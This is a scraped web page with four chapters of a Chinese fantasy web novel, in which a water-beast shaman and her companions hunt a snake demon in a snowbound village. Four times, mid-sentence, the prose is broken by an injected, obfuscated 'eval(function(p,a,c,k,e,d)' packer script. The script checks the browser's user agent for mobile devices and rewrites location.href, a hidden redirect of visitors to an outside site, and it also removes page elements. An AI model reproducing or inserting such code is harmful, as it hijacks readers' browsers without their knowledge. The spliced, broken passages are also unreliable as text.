“我们真的是奉王上之命前来,国巫大人并无恶意,还望姑娘不要介怀。”说罢,宋暮忙将腰间系带上的太史令牌解下,轻放在那女子手掌心里。 女子握着精致的腰牌细细端详了许久,宋暮看出她识不得腰牌上的字,却也只是耐心地站在一旁等待她将腰牌交还给回来。 那女子似乎是做了很长时间的心理建设,最终还是选择了相信宋暮。 宋暮微微一笑向她递出手,她并不推辞,落落大方地拉着宋暮温热的手借力站了起来,她抿唇望向远处水禾正蹲地拔草的身影,低声嘀咕:“让她赔给我一扇门。” 宋暮一怔,笑着连连称好。 那女子只愿意请宋暮一个人到她家中落脚,她告诉宋暮:“我叫小蓉,村子里的人都喊我守村人。” 听到“守村人”三字,宋暮的身形倏地一顿,小蓉似乎早就习惯了旁人用异样的眼光看待她,反而满不在乎地掀开右袖子,露出一截萎缩残缺的右臂。 那截手臂宛如藕节,纤细雪白,泛着淡淡的血色,却也正如湖藕一般,原本该存在右手的地方萎缩成光滑的骨节。 小蓉天生没有右手。 宋暮自幼长在容国,和与世隔绝的水禾并不同,他知道何为“守村人”。 所谓守村人便是到人间而来的苦修者,以自身为村子消灾挡难,大多五弊三缺,寿命不长且命中注定孑然一身,孤独终老。 宋暮顾及小蓉的感受,视线并未在那截残肢上停留过久,仅一眼,宋暮便收回了视线,他嘴角轻扬,轻声道:“小蓉姑娘好。” 小蓉赧然一笑,小跑着来到灶屋里,翻箱倒柜了许久找出一个干净无缺的瓷杯,又倒了一杯白水小心翼翼地端到宋暮面前。 “家里没有好茶,大人请用。” 宋暮挂念着仍与马匹待在一处的水禾,怕她的倔脾气上来骑马离开,才从小蓉的手里接过瓷杯,便忙不迭为水禾求情。 “小蓉姑娘,外面天寒地冻,不如请国巫大人进来一坐。” 小蓉一愣,抱着自己残缺的右臂坐回到宋暮对面,她的眸子闪烁了一下,倔强地别过脸,声音低不可闻:“我又没说不让她进来。” “宋某为国巫大人谢过小蓉姑娘。” 说罢宋暮便放下茶杯,昂首阔步地向冰天雪地里走去,再回来时,身着嫩黄夹袄的水禾畏首畏尾地跟在宋暮身后,与方才相比显然收敛了气焰。 小蓉不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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水禾握着茶杯的手陡然一抖,一用力,那水杯应声而碎,滚烫的茶水尽数浇在她的双手上,原本冻得泛着青白的手背顷刻间蔓延起大片的红。 水禾自幼在清清山长大,她竟从来不知世间还有会害人性命的妖兽。 若是真如小蓉所说,她定要将那蛇妖捉回来亲手将它碎尸万段,若是假的,她无论如何也要帮小蓉找到疯娘的下落。 宋暮留意到水禾手上的烫伤,抬手正要施展灵力,顾及到小蓉对妖兽的厌恶,他踌躇着又将手藏进了阔袖里。 “走,我们去找那蛇妖!” 还不待宋暮有所回应,水禾便如一阵风似地蹿了出去。 宋暮对小蓉赧然一笑,转头快步跟上水禾的身影。 石门村现居住的村民并不多,大概是蛇妖现身后都逃往各处去了,唯剩下腿脚不便的老弱病残还守在村里。 水禾骑马绕着石门村足足转了十来圈,却未曾察觉到有蛇妖出没过的迹象,奇怪的是,二人骑马赶来的路上还曾发觉妖兽的气息,怎地进了村落后气息却又荡然无存了。 宋暮那方也和水禾一样毫无发现,二人毫无头绪,任务毫无进展。 烦心倦目之际,却忽而听到身后传来马蹄踏雪和车轮辘辘的声音,在寂静无声的雪原中异常明显。 水禾比宋暮先行察觉到那道熟悉的气息。 马车越发近了,渐渐闯入水禾和宋暮的视野,在看清那张正探出车窗往这方看来的面容时,水禾的嘴角竟难以抑制地抽搐了两下。 17. 第 17 章 水禾才看清眼前正向她奔驰而来的并非马车,而是一辆破旧不堪的驴车,车轮吱嘎作响,车厢四处漏风。 而沈夷之则将脑袋探出车窗,笑得如沐春风,一面不停地朝着水禾和宋暮所在的方向招手。 宋暮能明显感受到身旁的水禾眉间溢出挥之不去的烦躁。 待驴车在水禾面前缓缓停下,沈夷之佝偻着身子从驴车上爬了下来,还未站稳,却见水禾猛地上前一步,沈夷之当即做出防御姿态。 他将双手挡在面前,大喊:“女侠饶命!打人别打脸!” 见水禾并没有出手的打算,沈夷之松了一口气,他放下护着脸的手,喋喋不休:“国巫大人你可知道我废了多大功夫才到这,都城内所有的车夫都知道石门村有蛇妖出没,没人肯载我,多亏了那个赶驴的大爷!” 水禾的脸上顿时仿若笼了一层厚厚的乌云,她望着眼前的沈夷之,没好气道:“你是属狗的么,怎么到哪里都要跟来?” 老实说,水禾并没有侮辱沈夷之的意思,在清清山时便时常有一只狗妖缠着她,不管水禾何时出现在任何地方,那狗妖总能靠着灵敏的嗅觉追踪到水禾的位置。 在水禾看来,沈夷之和那清清山对她穷追猛舍的狗妖并无两样。 “天呐国巫大人,您当真是神机妙算,我就是属狗的啊!”沈夷之凑上前来,笑得一脸不值钱的样子。 原本一声不吭的系统忽地发出一声干呕。 【这就是传说中的被打一巴掌还要舔手吧!】沈翩翩精准吐槽。 沈夷之却全然不在乎,他熟稔地站到水禾身侧,宛若国巫大人的贴身侍卫。 如果这个贴身护卫会些拳脚的话…… 宋暮则在一旁笑得见牙不见眼,他难得没有开口揶揄,反而帮沈夷之劝水禾:“多一个人便多一份机会,说不定沈公子可以想出搜寻蛇妖踪迹的方法。” 沈夷之顺着杆子往上爬,“是啊国巫大人,我可聪明了。” “我没觉得。”水禾留给二人一道背影,抬脚便向石门村中心的武威湖迈去。 这些时日水禾曾想过沈夷之不愿回沈府的理由,思来想去,大概也就是沈夷之为父亲的权势所碍,无法从容自如,这才选择离开沈家独立生活。 可水禾又想,沈夷之整日赖在国巫府,吃她的花她的,哪里又算得上真正的独立。 大概也是水禾在清清山生活惯了,看不懂权贵氏族的处事与想法,她猜不透沈夷之,也猜不透红墙之内的郡桃。 身后沈夷之和宋暮又开始拌嘴互怼,水禾听得心烦意乱,转头怒斥:“能不能安静一会儿。” 顿时鸦雀无声。 武威湖畔,湖面上结了一层冰面,水禾随手捡起一块碎石扔进湖面中央,冰面陡然碎裂,四分五裂的缝隙以石块为中心向四周蔓延。 沈夷之学着水禾的样子也向湖边扔了块石头,“扑通”一声,石块竟直直接砸碎轻薄的冰面坠入漆黑的湖水,最后沉没进深不见底的水底。 沈夷之像是发现了什么线索一般,当即扯着水禾的袖子轻轻摇晃起来,水禾面无表情地瞪了他一眼,沈夷之才稍作收敛。 “奇怪,大人你看,湖中央的冰面都没被石头砸碎,岸边的冰竟然轻轻一碰就碎了。” 水禾张了张嘴正要发问,不过是她没有砸碎厚厚的冰面,而沈夷之做到了,竟值得他惊喜成这样。 宋暮闻言却蓦地一滞,他捡起脚边的石块,抬手掷向冰面,只是他有意控制着距离,精准地将石块投掷在了方才沈夷之丢石块的位置前。 只听一声闷响,石块嵌入冰面,一如水禾方才投掷石块时那样,石块周围产生碎裂的纹路,冰面却并未直接破碎沉入湖水。 宋暮的眸色沉了沉,看来正如他想的那样。 湖水结冰通常是从岸边开始,冰层向湖中心扩展,岸边的水温较低,水体也较浅,因此更容易结冰,但湖中心的水体保持热量的能力却要强于岸边,因此湖中心的冰层相对来说要薄。 可武威湖竟和寻常的湖面结冰背道而驰,湖中心是厚厚的冰层,岸边的冰面却薄如蝉翼,一碰就碎。 “湖中央的冰层那样厚,这岸边的冰却像是才结不久,莫非是有人刻意破坏冰面?”沈夷之说着往方才石块沉没的方向走了几步。 他在水禾疑惑的视线中蹲下身,伸出手指试探岸边的水温,刚触及湖面沈夷之就被蚀骨的寒冷激起了寒颤,他瑟缩着收回手,故作可怜地伸到水禾面前。 “国巫大人,这边的冰层切面平整,应该就是人为的。” 水禾对沈夷之伸到面前的手指视而不见,兀自走到方才沈夷之站着的位置,只见她缓缓合上双眼,似乎是在认真嗅闻着什么味道。 不知过了多久,水禾周身的气息骤然间发生天翻地覆的变化,她倏地睁开双眼,难掩眸中惊喜的情绪。 “宋暮快来,这里能察觉到妖兽的气息!” 见水禾先喊的是宋暮的名字,沈夷之失落地瘪嘴,他深知攻略之路漫漫,却没想到半路杀出了个宋暮。 因水禾的灵力被紫玉镯禁锢,她只能捕捉到微弱的妖兽气息,但一想到整个武威湖的湖水皆是从清清山而来,水禾便又担心起她的感知是否有误。 水禾需要宋暮动用灵力帮她再次确认。 宋暮会意,手中光华流转间,淡青色的灵火在他指尖跳跃,他一甩指,那灵火即刻向冰层扑去。 仅一瞬,青色的灵火在湖面上围作一圈,宋暮眸光一闪,缓声道:“正是那蛇妖的痕迹。” 水禾和宋暮二人围着石门村寻了那样久,却未曾想到过,蛇妖的踪迹原来竟离他们这么近。 宋暮知道水禾心中疑惑,他又一弹指,偌大的武威湖湖面竟整个燃起熊熊烈火,青色的火焰与冰面相映,如同来自地狱的鬼域。 “武威湖的水来自未名海,湖水本身就存在妖兽的气息,那蛇妖躲入湖水中反而隐去了它的气息。” “狡猾的蛇妖,我这就把它捉上来。”水禾挽起袖子作势就要往深不见底的武威湖里跳,所幸被沈夷之眼疾手快拉了回来。 水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924994|160451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 禾转头瞪着沈夷之,可沈夷之却依旧死死拽着她的衣角不肯松手。 “这湖水不是寻常的冰冷,更何况大人畏寒,怕是才入水就要冻昏过去了。”沈夷之实话实说,哪怕被水禾打他也要拦住水禾。 宋暮连连称是,水禾是冷血的水兽,原本寒冷的冬季就不是她爱活动的时节,他们还不知道那蛇妖的实力如何,万万不可贸然下水。 思来想去,宋暮决定先下水一试。 “我原身是火兽玄鸟,冰冷的湖水奈我不得,我先入水看看情况。” 水禾没有意见,沈夷之更是举双手双脚赞成。 宋暮脱下自己月白色的外衫,笑着递向沈夷之,“多谢沈公子帮我看衣服。” 沈夷之一愣,转头看了看水禾,见水禾无动于衷,只好不情愿地伸出两根手指嫌弃地捏着宋暮的外衫一角。 宋暮唇角微扬,纵身一跃跳入了武威湖,水花溅出一丈有余,日色的光辉映着透明的水珠,折射出金色的耀眼光芒,所谓浮光跃金大抵不过如此。 见宋暮入水,沈夷之作势正要丢下宋暮的衣衫,还未动作,却见深不见底的湖水下红光一闪,紧接着水花四溅,若不是沈夷之和水禾躲得快,只怕要被淋成两只落汤鸡。 倏地,一只火红的玄鸟冲出湖面直破天际,华丽的尾羽带出一串晶莹的水珠。 沈夷之忙扔下宋暮的衣服挡在水禾面前,他如临大敌,双腿也不住地颤抖,却始终固执地站在水禾身前。 照沈夷之的话说,这是一招险棋,若是成,他就能把水禾感动得稀里哗啦,而后答应当他的大腿从此无论如何都保护他,若是败,他只能选择重开。 可沈夷之没料到的是,水禾竟一把将他推开了。 沈夷之弱不禁风地跌坐在地,宛如一朵娇弱的小花。 水禾不耐地白了他一眼,“那只大鸟是宋暮。” 话音才落,羽毛繁丽的玄鸟在沈夷之面前缓缓落下,水禾看见他身上多了一些不易被察觉的伤痕。 “那蛇妖这么强?待我下去会会它。” 这次水禾却是被宋暮展开的翅膀给拦住了去路,他张开鸟喙,语气有些虚弱:“湖底有个会吸取灵力的结界,方才我靠近的时毫无防备,这才受了伤。” 宋暮说罢便化为了人形,因他穿着雪白的中衣,血红的伤口在他身上看起来十分惹眼,沈夷之难得体贴,小心翼翼地将宋暮的外衫披在他的肩上。 “你可看清那结界的样子?”水禾追问。 “湖水浑浊,我并未看清,只见那结界上泛着银色的光。” 水禾微微颔首,她在清清山时曾听司岳说过,这世间确实存在一种能吸取灵力的结界,但那结界也有弱点,它并非无底黑洞,吸取灵力到一定阶段便会闭阵,彼时便是最易攻破的时候。 方才宋暮已被结界吸取了一部分灵力,若是他再去,必定不能活着回来。 思来想去,眼下唯有她亲自出手。 水禾抿唇,将袖子往上挽高了几分,露出那只泛着温润光泽的紫玉镯。 18. 第 18 章 “宋暮,你是梅山宗五长老之一,应该有法子帮我取下这紫玉镯吧。” 宋暮闻言不可置信地抬头看向水禾,漠然的脸上不见丝毫情绪波动,一双如水的眼眸却出奇的清亮。 他自然知道水禾想要做什么。 宋暮是火兽玄鸟,在水里与那蛇妖缠斗起来他必定讨不到好处,可水禾是水兽,自幼在未名海长大,对这武威湖内的湖水再熟悉不过。 “可……”宋暮迟疑地转头,视线不经意间瞥过一旁的沈夷之。 就算沈夷之与水禾再相熟,但他毕竟是三人之中唯一的人族,况且他来自容国权贵蜀南沈氏,若是水禾在他面前贸然现出原身,只怕会徒增不必要的麻烦。 水禾自然注意到宋暮的视线,她满不在乎地摆摆手,语气平静得仿佛是在说一件与自己无关的事,“哦,他呀,他先前见过我的角,早就知道我妖兽的身份了。” 宋暮登时睁大了双眼。 “如此一来就没什么可顾忌的了,你就帮我取下来吧。” 水禾目不转睛地盯着宋暮,伸出那截皓白的腕子在宋暮面前轻晃,紫玉镯的光芒比之方才更盛。 宋暮敛起嘴角的笑意,依旧不肯松口,“依我看,我们还是再去石门村内调查一番再从长计议。” “还从长计议?只怕石门村都要搬空了。” 水禾眉间染了愠色,握成拳头状的双手指节都微微泛白。 “只听闻石门村有蛇妖现身,可却未曾出现有村民伤亡,国巫大人且冷静,此事并没有表面上那么简单。” “可小蓉的疯娘不是失踪了么!”水禾声音高扬。 “够了!别吵了!” 一直未曾言语的沈夷之倏地发出一声低吼,见宋暮和水禾双双闭嘴,他却忽地转头对水禾赧然一笑说:“国巫大人,我不是说你。” 水禾对于沈夷之的区别对待早就见怪不怪,倒是宋暮一时语噎,半天也没回过神来。 眼下确实不是争吵的时候,沈夷之环顾四周,见灰蒙蒙的天际开始飘雪,隐隐的有雪势渐大的预兆。 身后的雪原一望无垠,被拴在巨石边的两匹骏马打了个响鼻,石门村静得可怕,莫名地,沈夷之感到心中惴惴不安。 “这天气变化得异常,晌午还是日阳高照,忽而就下了这样大的雪,国巫大人,不如我们先找个地方避雪。” 宋暮赞成沈夷之的提议,微微笑着点了点头,水禾正要反驳,却一眼望见宋暮一只手紧紧捂着手臂上的伤口,不断有殷红的血从指缝间溢出。 水禾抿唇,闷不吭声地向村落迈步走去。 因怕再向初入石门村那样碰壁,三人直截了当地选择了再次去叨扰守村人小蓉。 而选择去小蓉家避雪的另一个原因是,小蓉家的大门之前被水禾一掌拍成粉末,宋暮答应赔给小蓉的新门还未兑现。 宋暮在水禾面前提过一次,水禾一直记在心里,趁着避雪的由头,水禾看准一颗粗壮的杉树后干脆利落就是一掌,杉树应声倒下,粗壮的枝干砸起一地飞雪。 沈夷之虽不理解水禾在做什么,但见水禾正要扛起那倒地的杉树,他当即跟了上去。 这是沈夷之自创的攻略水禾手册之舔到最后啥都有中的第十八则——眼皮活络,少说多做。 水禾扛着树干走了两步,只觉得身后有些累赘,一回头,却见沈夷之跟在的她的身后佯装出力。 水禾语塞,“你不帮我,我反倒轻松一些。” “真的?” 沈夷之一脸惊诧,饶是水禾再迟钝也看出他那夸张的表情十成有九成有演的成分。 倒是宋暮凑上前来提醒沈夷之:“国巫大人在清清山时一个人独行惯了,你帮她她反而不自在。” 沈夷之闻言看了一眼水禾,不料与她瞪过来的目光撞了个正着,沈夷之讪讪地缩了缩脖颈,重新将视线放回到脚下的路上。 因方才的争吵,三人之间的气氛莫名有些尴尬,水禾扛着树干闷头往前走,宋暮一言不发地跟在最后,唯有沈夷之神情自在地打量着石门村的环境。 沈夷之先前总是守在水禾身边,除了沈府,国巫府和梅山宗外,沈夷之便再没去过别的地方。 石门村的小屋与现实中的仿古建筑并没有什么两样,甚至一眼看过去反倒没有仿古建筑精致考究。 三人来到石门村到现在已经足足有半日,可却未曾见过石门村山民的身影,沈夷之料想此处应该是蛇妖的出没闹得村里人心惶惶,家家户户闭门不出。 沈夷之只顾着观察村内的环境,却没想到前方的水禾蓦地在一破落小屋前停了下来,沈夷之一脚没刹住,径直撞上了水禾肩上粗壮的树干。 沈夷之顿时眼冒金星。 水禾对柔弱不能自理的沈夷之早就见怪不怪,她闷哼一声,将肩上的杉木重重地立在雪地里。 “小蓉,我们回来了。” 水禾一连喊了好几声,可屋内的小蓉却仿佛没有听到一般。 宋暮与水禾对视一眼,当即快步冲了进去。 屋内光线昏暗,几乎伸手不见五指,好在宋暮和水禾是能夜视的妖兽,因此二人的行动并未受阻,倒是沈夷之非要固执地跟过来,迈左脚撞到了灶台,迈右脚又踩到了烂菜叶。 听着沈夷之在身后不停抱怨,水禾烦都要烦死了。 正要转头喊他闭嘴,却又听到沈夷之一声惨叫。 “啊!国巫大人救我!” 沈夷之几乎是跌跌撞撞地在黑暗中摸索到水禾的身影,想也没想就张开双臂抱了上去。 水禾的经外奇穴忽地不受控制地突突乱跳。 “轰”地一声,狭小逼仄的空间内顷刻间变得明亮起来,水禾闻声看去,原来是宋暮点亮了灵火。 再低头一看,沈夷之却仍吓得双眼紧闭,像只八爪鱼似地紧紧扒在水禾身上。 “再不松手,我就让你的手不再属于你。” 水禾说这话时语气淡漠得没有一丝情绪起伏,可沈夷之却听出她一字一顿分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这些动物应该死了有些时日,只不过冬季气温低,这才减缓了尸体的腐烂。 “正是蛇妖所为。” 宋暮颔首,他偏头看着窗外飘扬的大雪,心中疑惑:“可蛇妖捕获的食物为何会出现在小蓉家里,而小蓉现在也不知所踪。” 莫非小蓉就是在宋暮和水禾离开的时候被蛇妖抓了去? 水禾凑上前,一脚将面前的狍子尸体踢翻,她捏着鼻子,语调模糊不清道:“蛇妖若是饿了,捕获的这些动物为何不吃,反倒要犯戒去吃小蓉?” 二人正探寻着蛛丝马迹,却倏而听到门外传来窸窣凌乱的脚步声。 水禾闻声看去,却见小蓉正站在门口面无表情地看着他们,莹绿色的灵火映在她的脸上,宛如鬼魅。 “小蓉?”水禾试探地呼唤她的名字。 “你们为何在这里?”小蓉面色不善,声音尖锐高昂。 19. 第 19 章 大雪纷飞,冬雾弥漫。 呼啸的风雪不住地往人脖颈里灌,而小蓉一脸漠然地站在漫天大雪之中,任雪花落满她的肩头,却始终一动不动。 万籁俱寂,水禾沉默地与小蓉对峙着。 沉寂许久的宋暮不动声色地隐入黑暗之中,几乎是小蓉转身的刹那,宋暮陡然冲上前来,他一拂袖,青紫相间的火焰顷刻间拦住了小蓉的去路。 小蓉一惊,脸上骤然间变得毫无血色,诡异的火焰映着她煞白的脸,宛如来自地狱的使者。 “小蓉姑娘要去哪儿?”宋暮眉眼弯弯,一如既往笑得春风和煦,在小蓉看来却像是皮笑肉不笑。 小蓉惊得眉心都出了汗,她转头瞥了一眼身后正向她步步紧逼而来的水禾,倏地惊声尖叫起来:“别过来!你们是妖兽!” “大家都是同族,有什么好惊诧的。” 水禾面无表情地捏着鼻子,一面伸手在脸前轻轻扑扇着,老实说,眼前这位“同族”身上的气息可算不上好闻。 不知是水禾的动作还是话音莫名戳到了小蓉的痛处,仿佛被踩了尾巴的猫儿,她的眼神蓦地变得狠戾,似乎是不打算继续再演下去了。 “同族?嗤,你们才是该死的妖兽,妖兽就该湮灭于天地!” 话音才落,小蓉的身形倏地发生天翻地覆的变化—— 她的眼眶和面颊莫名凹陷,显出黢黑的阴影,原本站立的双腿在水禾眼前化作成一条细而长的蛇尾,依稀可见细密的鳞片在宋暮设下的灵火阵中发出银灰色的光。 小蓉的上半身依旧保持着人形的样子,长瀑一般的黑发无风自舞。 她浑身散发出令人窒息的死亡气息,难怪水禾总是无端嗅到一股难言的味道。 水禾又将鼻子捏得更紧,话音几乎是哼出来的,“你就是蛇妖,却还不肯承认是我们的同族。” “不是!我不是!我才不是妖兽!!!” 小蓉的双目猩红,倏地迸发出强烈的杀意,她卷起身后光秃秃的蛇尾,极速迅猛地向水禾甩去。 宋暮转身想要为水禾抵挡,却不料小蓉的速度比他更快,他脚步才动,小蓉的蛇尾就已经狠狠砸在水禾站立的位置。 骤然间卷起千堆雪,纷纷扬扬的雪花遮蔽了在场三人的视线。 待烟尘消散,飞扬的雪花悉数落下,宋暮一眼就看到半妖化的水禾略显吃力地格挡住了蛇尾的攻击。 见宋暮看过来,水禾气冲冲地大喊:“傻愣着看我干嘛,快打她啊!” 宋暮这才在水禾的呵斥声中回过神来,他手中飞速捏诀,青绿色的火光在他手中乍现,只是宋暮才武威湖的结界中受了伤,且被吸取了不少灵力,施法的动作牵动了伤口,宋暮当即拧眉痛“嘶”了一声。 他原身乃护国瑞兽玄鸟,本就不擅打斗,眼下所能做到的仅仅是用灵火限制住小蓉的行动。 炙热的火焰将小蓉围在其中,她渐渐被炙烤得额角冒汗。 没有妖兽能逃得过护国瑞兽玄鸟的灵火。 本以为小蓉被牵制住,石门村蛇妖案便要就此了解了,可谁知宋暮那方才松懈下来,一道白影一闪而过,只听一声闷哼,一阵巨响,宋暮狠狠撞在身后的青砖墙上,墙体骤然碎裂,掉落的石块悉数砸在宋暮身上。 月白色的长衫顷刻间被血污濡湿,宋暮全身都被石块掩住,唯有一张布满伤痕的清俊面容露出来,却又缓缓被无声无息的鹅毛大雪给掩盖。 来不及查看宋暮的伤势,迅猛的攻击容不得水禾分神。 而宋暮昏迷后,原本画地为牢的灵火也消失不见,小蓉没有了灵火的禁锢,狞笑着向水禾步步逼近。 原本的一对二,眨眼间变成了二对一。 水禾的灵力被尽数拘在紫玉镯中,若是半妖状态下与小蓉对上,水禾或许还有七分胜的可能,可转眼间又多了一个实力强悍的对手,水禾能否平安活着都成了最大的问题。 喘息之际,水禾终于看清了那位不速之客。 那是一条雪色的巨蟒,额上长有形状怪异的角,身上的鳞片相比于小蓉蛇尾上的鳞片要更加巨大且繁丽,若是乍眼看去,似乎不像一条蛇,反而更像是一条蛟龙…… 只是那“蛟龙”的样子相较于真正的蛟龙来说更加怪异,它的角并不似蛟角那般对称,一只看起来像鹿角,另一只看起来却蜿蜒曲折像是类似捻角山羊的角。 眼前这只妖兽,仿佛是由几种妖兽的部位拼凑而成。 水禾的呼吸忽地一滞,心里某处像是有什么东西要抽离出来似的,痛得她几乎无法呼吸。 “小蓉,你们究竟来自何处……” 水禾的嘴唇微微颤抖,发出的声音几乎不成语调。 小蓉却只是面无表情的看着水禾,望着望着,她竟嗤嗤地笑出声来,一滴血泪自她眼眶滑落,她张开嘴巴,嘴角却一直延伸至两侧耳根处。 她无声地对着水禾笑起来,漫天的雪落在她身后,水禾只感到无尽的凄凉。 小蓉面对着水禾,忽而缓慢地做了一个口型。 “杀。” 那巨蟒便好似一下失去了理智一般向水禾冲撞而来,它的双眼上蒙了一层雾白色的薄膜,因此它似乎并不能看清沿途的障碍物,但凭借着巨大的身形,所有障碍物在它面前都荡然无存。 水禾躲得愈发艰难,甚至有好几次那巨蟒的血盆大口都险些触碰到水禾的衣角。 若是宋暮未昏迷之前帮她解开紫玉镯便好了,那样水禾便能化做原型与这巨蟒殊死一搏,可眼下水禾落于下风,筋疲力尽,只怕宋暮还未苏醒过来,他们三人就要一起进巨蟒的肚子里了。 巨蟒攻击的速度越来越快,水禾愈发吃力,她纤细的脖颈上暴起青紫色的筋,吸入再多的空气也无法维持她正常的呼吸。 “小蓉你听我说,或许这之间有什么误会!”水禾一面气喘吁吁地躲避巨蟒的攻击,一面试图和小蓉沟通。 可小蓉只是冷眼旁观,连搭理水禾也不愿。 “小蓉你告诉我,这条失去理智的巨蟒就是疯娘对不对?” “你闭嘴!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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水禾的眼睛蓦地瞪大,心里某处莫名地感到有些酸楚,不知名的液体逐渐模糊了她的双眼,水禾感到不知所措,她不知道自己这是怎么了。 沈夷之身上温热的血透过胸口的血洞流在水禾手上,黏答答,湿漉漉的。 水禾依旧躺在雪地里,余光看到小蓉不耐烦地甩了甩指尖的鲜血,又摇晃着雪白的蛇尾一步一步向她靠近。 倏尔,一股强大的灵力将水禾和沈夷之包裹其间,熟悉的感觉奔涌至四肢百骸,水禾的身体已经许久未曾感受到这般畅快。 水禾轻轻推开沈夷之的身体,在小蓉不屑的目光中缓缓站起。 雪青色的光芒在水禾手中流转,紫玉镯几乎沾满了沈夷之的血,“砰”地一声碎响,紫玉镯应声而碎,七零八落的碎片撒了满地。 水禾面无表情地施法,沈夷之的躯体被温润的灵力环绕起来。 冷眼旁观的小蓉却仿佛失去了所有耐心,却见她眉头紧蹙,五指成爪就要再次向水禾攻来。 20. 第 20 章 水禾一只手依旧为沈夷之输送着源源不断的灵力,另一手几乎是在小蓉向她冲来的刹那猛然抬起,掌中凝起雪青色的光芒,只此一掌,正中小蓉的心口。 触目惊心的血从小蓉口中喷涌而出,她倏地睁大双眼,眸中满是绝望。 原本静静伫立在一旁的巨蟒双目赤红,似乎有殷红的血从它眼中夺眶而出,巨蟒乍然而起,此时此刻,它的眼中只有小蓉一人。 巨蟒震天动地的痛苦嘶吼声在漫天的飞雪中回荡了良久,它轻轻游移到小蓉的身旁,用宽大的吻部温柔地蹭了蹭她沾满了污雪的长发。 缓缓地,那巨蟒转过身来,它眼中雾白色的薄膜似乎褪去,水禾不解地看着那双清亮的眼睛,她不懂那其中到底是怎样的情绪。 水禾睨了一眼倒地不起的小蓉,她的胸口剧烈起伏,仍在大口大口地吐着鲜血。 再抬头与巨蟒对视,水禾迟疑地举起手臂,磅礴的灵力在掌心凝结。 是一击必死的杀招。 水禾将掌心对准巨蟒,难以抑制的灵力几乎就要脱离水禾的掌控,可内心深处却似乎有道缥缈的声音轻轻呼唤着她。 不要。 “不要!” 尖锐的呼喊声划破云霄,霎时间,周围飘忽的雪花仿佛都在湿冷的空气中凝滞。 遽然间,脚下传来地动山摇般的震颤,水禾踉跄了两步堪堪稳住身形,巨蟒庞大的身躯也不住地摇晃,而巨蟒身侧,一个深不见底的坑洞赫然出现。 巨蟒靠近坑洞的那一面身躯也受到波及,原本华美繁丽的鳞片悉数被外力剥落下来,通红渗血的皮肤暴露在刺骨的寒风中。 水禾一怔,双臂无力地垂在身侧,她不知方才自己究竟是中了什么魔障,竟试图杀死无辜的巨蟒。 巨蟒不顾身上依旧不停渗血的伤口,它自顾自用伤痕累累的身体将小蓉环绕起来,像是守护世间珍宝一般。 “她还活着,只是被灵力震晕了过去。”水禾动了动苍白的嘴唇,缓步向巨蟒靠近。 巨蟒的竖瞳锁定在水禾身上,似乎她再靠近一步,巨蟒便会为了保护小蓉而不顾自己的生命与水禾鱼死网破,水禾显然看出这一点,在距巨蟒一丈开外的位置便停了下来。 水禾笃定这条体型庞大的巨蟒就是小蓉的疯娘,而小蓉原本也绝非现在这个样子。 “你能否告诉我,石门村究竟发生了什么?” 那巨蟒闻声却只发出一阵痛苦的嘶鸣声,水禾这才发觉它似乎无法正常言语。 或许只有小蓉能清楚地告诉水禾究竟发生了什么。 水禾迈步上前,想要查看小蓉伤势,却被巨蟒威胁的低吼声拒之千里,水禾无奈,微微颔首,指尖凝起雪青色的光芒,那巨蟒呼吸一滞,竟乖顺地向水禾低下了头颅。 它宽大的吻部低伏在雪地里,仿佛与冰天雪地融为了一体。 “你乖乖让开,我就能救小蓉醒来。”话音才落,水禾试探性地往前一步,却见巨蟒真的没有继续阻拦她了。 疯娘依依不舍地放开小蓉,却仍旧拖着满是伤痕的躯体不肯离开小蓉半步。 精纯的灵力再次在指尖凝结,但这次不同于以往,水禾为小蓉施法疗伤时,暖风骤起,徐徐的春意将众人包裹其间。 不消片刻,便见小蓉的眼皮跳动了两下,疯娘慌忙凑过来,与缓缓睁开双眼的小蓉将将好对视。 不知怎的,才苏醒过来的小蓉看到安然无恙的疯娘,眼泪却像是断了线的珠子不住地往下掉落,泪珠滚落进她的脖颈,濡湿粗布麻衣。 …… 距石门村捉蛇妖事件已经过去了十多日,宋暮在太史府养伤,沈夷之在国巫府吃汤药。 宋暮毕竟是妖兽,比之常人还是要身强体壮些,乘马车回容国国都的当天他便已经苏醒,如今身上的伤好得七七八八,看起来与往常的样子无异。 倒是沈夷之伤得极重,自那日起便一直昏迷至今,补气血的汤药前前后后换了十多副,却始终不见沈夷之醒转。 水禾觉得小厮笨手笨脚,便整日亲自守在沈夷之的床边照顾,除了擦身和泡药浴,其余所有沈夷之的事情水禾都力求亲力亲为。 她没日没夜地熬,只有头晕目眩实在撑不住时才会小睡片刻。 其间沈府也曾派人来探望过,但都被水禾以武力逼退了回去,沈夷之不愿回蜀南沈氏去,水禾便一个沈府的人也不肯放进来。 沈夷之昏迷了十多日,容国的天气便也阴沉了半月有余,时不时飘落几片稀稀疏疏的雪,叫人没由来地感到心烦意乱。 水禾守在沈夷之床边,单手拄在榻上托着腮,百无聊赖,她便沉默地望着沈夷之的眉眼出神。 